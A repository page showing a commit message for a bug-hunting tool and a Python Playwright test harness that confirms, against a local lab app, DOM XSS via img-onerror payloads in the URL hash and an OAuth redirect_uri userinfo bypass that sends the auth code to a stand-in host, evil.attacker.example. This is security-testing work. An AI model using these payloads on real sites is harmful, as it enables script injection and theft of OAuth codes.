mirror of
https://github.com/elementalsouls/Claude-BugHunter.git
synced 2026-11-24 20:30:23 +01:00
* fix(engine): 3 verified council findings — F7 (silent failed-hunt), F32 (TLS), F43 (auth-sweep FP)
F7 — engine/agent.py + engine/engine.py: agent hard errors (timeout / rate-limit /
parse-fail / missing 'claude' CLI) were recorded as 'tested, found nothing' and never
retried; sequential mode also crashed on a missing CLI. Now: catch FileNotFoundError/
OSError in run_agent; _hunt_agent flags errored/no-verdict results; hunt() leaves those
items un-tested (stay on worklist for retry) instead of marking them tested-negative.
F32 — cbh/cli.py: an ambient corporate HTTPS_PROXY/HTTP_PROXY silently set ssl.CERT_NONE
(TLS verification off). Now CERT_NONE is gated behind an explicit Burp/insecure opt-in
(--burp/--proxy or CBH_BURP_PROXY); ambient proxy env keeps verification ON.
F43 — engine/recon.py: a global OpenAPI 'security: []' (= public API) was treated as
secured, producing false-positive 'broken function-level auth' findings. Now mirrors the
op-level check: glob = spec.get('security') not in (None, []).
Verified: all files compile; agent.py/state.py self-tests pass; --mock dry-run unchanged;
added behavioral checks for each fix (errored-not-tested, ambient-proxy-TLS-on, security:[]-not-swept).
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
* fix(engine+eval): 8 more verified council findings (F8/F9/F41/F24/F23/F12/F14/F20)
Core engine:
- F8 cbh/cli.py: crt.sh outage/rate-limit/JSON-error now warns loudly instead of
silently returning empty (a failed lookup was indistinguishable from '0 subdomains').
- F9 engine/recon.py: prune_inert_params distinguishes a FAILED probe (code 0, network/
curl error -> keep the endpoint) from a genuine HTTP >=400 dead endpoint; logs the
unprobeable count. Transient failures no longer silently drop live surface.
- F41 engine/recon.py: mined relative routes now carry their source-document base
(found_rel stores (base, rel)); each is resolved against the doc it came from, not the
first seed's origin — fixes wrong-host endpoints on multi-seed runs.
Eval / labs / scripts:
- F24 docs/verification/phase3-playwright/harness.py: OAuth @-userinfo bypass payload was
malformed (@ landed in the PATH -> browser stayed on localhost, refuting a real bug).
Corrected to http://localhost:58020@<evil>/... (userinfo=localhost:58020, host=evil),
which passes the server's startswith prefix AND swaps host. Docstring corrected.
- F23 eval/run_fp.py: validate --conditions against {baseline,skills}; a typo'd condition
previously ran as baseline under the wrong label and invalidated the ablation.
- F12 eval/run_eval_ps.py: a post-run oracle read-failure (expired instance) was scored as
solved=False (a miss). Now captures the ok flag, records solved=None + oracle_ok, and
excludes oracle-unreadable runs from the solve-rate denominator (summary + per-class).
- F14 secret_scan.py: missing/unreadable and >10MB files were silently skipped (false
'clean'); now warns to stderr on every skip.
- F20 eval/fp_app.py: the 'safe' /go open-redirect trap accepted /\evil.com (browsers
normalize \ -> / -> protocol-relative external redirect), so its ground-truth 'safe'
label was wrong. Now rejects backslashes and control chars.
Verified: all files compile; recon.py/agent.py/state.py self-tests pass; --mock flow
unchanged; added behavioral checks for F9/F41/F20/F24/F14/F23/F12.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Sachin Sharma <sachin.lucideus@gmail.com>
Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
200 lines
7.8 KiB
Python
200 lines
7.8 KiB
Python
"""
|
|
Phase 3 Playwright harness — verifies that:
|
|
|
|
1. DOM XSS — payload in location.hash actually EXECUTES in a real browser
|
|
2. OAuth @-userinfo bypass — the browser actually navigates cross-origin
|
|
per RFC 3986 userinfo parsing, transferring the auth code to attacker
|
|
|
|
Both tests were "source-verified" in Phase 2F but never executed in a real
|
|
browser DOM. This harness closes that gap.
|
|
"""
|
|
import sys
|
|
import time
|
|
from urllib.parse import urlparse
|
|
from playwright.sync_api import sync_playwright
|
|
|
|
|
|
def section(label):
|
|
print()
|
|
print("=" * 65)
|
|
print(label)
|
|
print("=" * 65)
|
|
|
|
|
|
def test_dom_xss_alert():
|
|
"""Test 1a — classic alert XSS via location.hash injection.
|
|
|
|
Verifies that the payload's script runs by listening to the page's
|
|
`dialog` event (alert/confirm/prompt). If the alert fires, DOM XSS
|
|
is confirmed at execution-time.
|
|
"""
|
|
section("TEST 28a — DOM XSS execution via alert dialog")
|
|
payload = '<img src=x onerror="alert(\'xss-via-playwright-2026\')">'
|
|
|
|
with sync_playwright() as p:
|
|
browser = p.chromium.launch(headless=True)
|
|
page = browser.new_page()
|
|
|
|
alerts_seen = []
|
|
page.on("dialog", lambda d: (alerts_seen.append(d.message), d.dismiss()))
|
|
|
|
url = f"http://localhost:58020/dom-xss#{payload}"
|
|
print(f" Navigating to: {url}")
|
|
page.goto(url, wait_until="networkidle")
|
|
time.sleep(0.5)
|
|
|
|
if alerts_seen:
|
|
print(f" ✓ ALERT FIRED — message: {alerts_seen[0]}")
|
|
result = "PASS"
|
|
else:
|
|
print(" ✗ no alert dialog observed")
|
|
result = "FAIL"
|
|
|
|
browser.close()
|
|
return result
|
|
|
|
|
|
def test_dom_xss_window_var():
|
|
"""Test 1b — non-dialog XSS via window variable injection.
|
|
|
|
Sometimes alert() is suppressed by CSP or pop-up blockers; a better
|
|
primitive sets a window variable then queries it from the harness.
|
|
"""
|
|
section("TEST 28b — DOM XSS execution via window variable")
|
|
payload = '<img src=x onerror="window.bughunter_xss_executed=true">'
|
|
|
|
with sync_playwright() as p:
|
|
browser = p.chromium.launch(headless=True)
|
|
page = browser.new_page()
|
|
|
|
url = f"http://localhost:58020/dom-xss#{payload}"
|
|
print(f" Navigating to: {url}")
|
|
page.goto(url, wait_until="networkidle")
|
|
time.sleep(0.5)
|
|
|
|
executed = page.evaluate("window.bughunter_xss_executed === true")
|
|
if executed:
|
|
print(" ✓ window.bughunter_xss_executed === true — JS executed in DOM")
|
|
result = "PASS"
|
|
else:
|
|
html = page.evaluate("document.getElementById('result').outerHTML")
|
|
print(" ✗ payload did not execute. result div HTML:")
|
|
print(f" {html[:300]}")
|
|
result = "FAIL"
|
|
|
|
browser.close()
|
|
return result
|
|
|
|
|
|
def test_oauth_userinfo_bypass():
|
|
"""Test 2 — OAuth @-userinfo bypass actually transfers the auth code
|
|
cross-origin.
|
|
|
|
Server validates redirect_uri by prefix-match (starts with
|
|
`http://localhost:58020`, per target_app.py). Attacker sends a redirect_uri of:
|
|
http://localhost:58020@evil.attacker.example/attacker-callback
|
|
Per RFC 3986 the authority ends at the first `/`, so the browser parses:
|
|
scheme: http
|
|
userinfo: localhost:58020 (credentials — ignored for navigation)
|
|
host: evil.attacker.example
|
|
path: /attacker-callback
|
|
The string still starts with `http://localhost:58020`, so the server
|
|
prefix-check passes — yet the browser navigates to evil.attacker.example.
|
|
(The earlier `.../legit/@host/...` form is WRONG: the `@` lands in the path,
|
|
not userinfo, so the browser stays on localhost and the test refutes a real bug.)
|
|
|
|
This test verifies BROWSER BEHAVIOR — not server behavior. The
|
|
server-side Phase 2F verification already showed the prefix check
|
|
passes; this completes the chain by confirming the browser actually
|
|
sends the code to attacker.
|
|
"""
|
|
section("TEST 29 — OAuth @-userinfo bypass: browser navigation verification")
|
|
# Use a fake attacker host that we'll intercept via Playwright
|
|
# We can't easily run a second server on a free port reliably; instead
|
|
# we use Playwright's request interception to capture the final URL.
|
|
|
|
with sync_playwright() as p:
|
|
browser = p.chromium.launch(headless=True)
|
|
page = browser.new_page()
|
|
|
|
# Build the malicious redirect_uri
|
|
evil_host = "evil.attacker.example" # browser will fail to resolve;
|
|
# we capture the navigation attempt first
|
|
# `@` must sit right after the registered prefix so localhost:58020 becomes
|
|
# USERINFO and evil_host becomes the real host (RFC 3986) — while the string
|
|
# still startswith the server's allowed prefix `http://localhost:58020`.
|
|
redirect_uri = f"http://localhost:58020@{evil_host}/attacker-callback"
|
|
from urllib.parse import quote
|
|
oauth_url = f"http://localhost:58020/oauth/authorize?client_id=acme-spa&redirect_uri={quote(redirect_uri, safe='')}"
|
|
|
|
# Capture all navigation attempts
|
|
navigations = []
|
|
page.on("framenavigated", lambda f: navigations.append(f.url))
|
|
# Also capture failed requests (DNS for evil.attacker.example will fail)
|
|
failed_requests = []
|
|
page.on("requestfailed", lambda r: failed_requests.append((r.url, r.failure)))
|
|
|
|
print(f" Sending OAuth request:")
|
|
print(f" {oauth_url[:120]}...")
|
|
print()
|
|
|
|
try:
|
|
page.goto(oauth_url, wait_until="domcontentloaded", timeout=5000)
|
|
except Exception as e:
|
|
# Navigation to evil.attacker.example fails (DNS error) — that's EXPECTED
|
|
print(f" (Final navigation failed as expected — destination is unresolvable: {type(e).__name__})")
|
|
|
|
print()
|
|
print(" All navigation attempts (in order):")
|
|
for i, url in enumerate(navigations):
|
|
parsed = urlparse(url)
|
|
print(f" {i+1}. host={parsed.hostname or '?'} port={parsed.port or '?'} path={parsed.path or '/'}")
|
|
|
|
if failed_requests:
|
|
print()
|
|
print(" Failed requests (DNS-blocked destinations):")
|
|
for url, fail in failed_requests:
|
|
parsed = urlparse(url)
|
|
print(f" - host={parsed.hostname} path={parsed.path} err={fail}")
|
|
|
|
# Analysis: did the browser end up trying to talk to evil_host?
|
|
attempted_evil = any(urlparse(u).hostname == evil_host for u in navigations)
|
|
attempted_evil_in_failed = any(urlparse(u).hostname == evil_host for u, _ in failed_requests)
|
|
|
|
if attempted_evil or attempted_evil_in_failed:
|
|
print()
|
|
print(f" ✓ Browser navigated to host={evil_host} after the OAuth redirect.")
|
|
print(" Auth code would have been sent to attacker per RFC 3986 userinfo parsing.")
|
|
result = "PASS"
|
|
else:
|
|
print()
|
|
print(f" ✗ Browser did NOT navigate to {evil_host} — userinfo bypass did not trigger.")
|
|
print(" (Either Werkzeug normalized the URL, or the browser parsed it differently.)")
|
|
result = "FAIL"
|
|
|
|
browser.close()
|
|
return result
|
|
|
|
|
|
def main():
|
|
results = []
|
|
results.append(("DOM XSS via alert dialog", test_dom_xss_alert()))
|
|
results.append(("DOM XSS via window variable", test_dom_xss_window_var()))
|
|
results.append(("OAuth @-userinfo browser navigation", test_oauth_userinfo_bypass()))
|
|
|
|
section("SUMMARY")
|
|
for name, status in results:
|
|
marker = "✓" if status == "PASS" else "✗"
|
|
print(f" {marker} {name}: {status}")
|
|
print()
|
|
fails = [name for name, status in results if status != "PASS"]
|
|
if not fails:
|
|
print("All browser-execution gates PASSED.")
|
|
return 0
|
|
print(f"FAILS: {fails}")
|
|
return 1
|
|
|
|
|
|
if __name__ == "__main__":
|
|
sys.exit(main())
|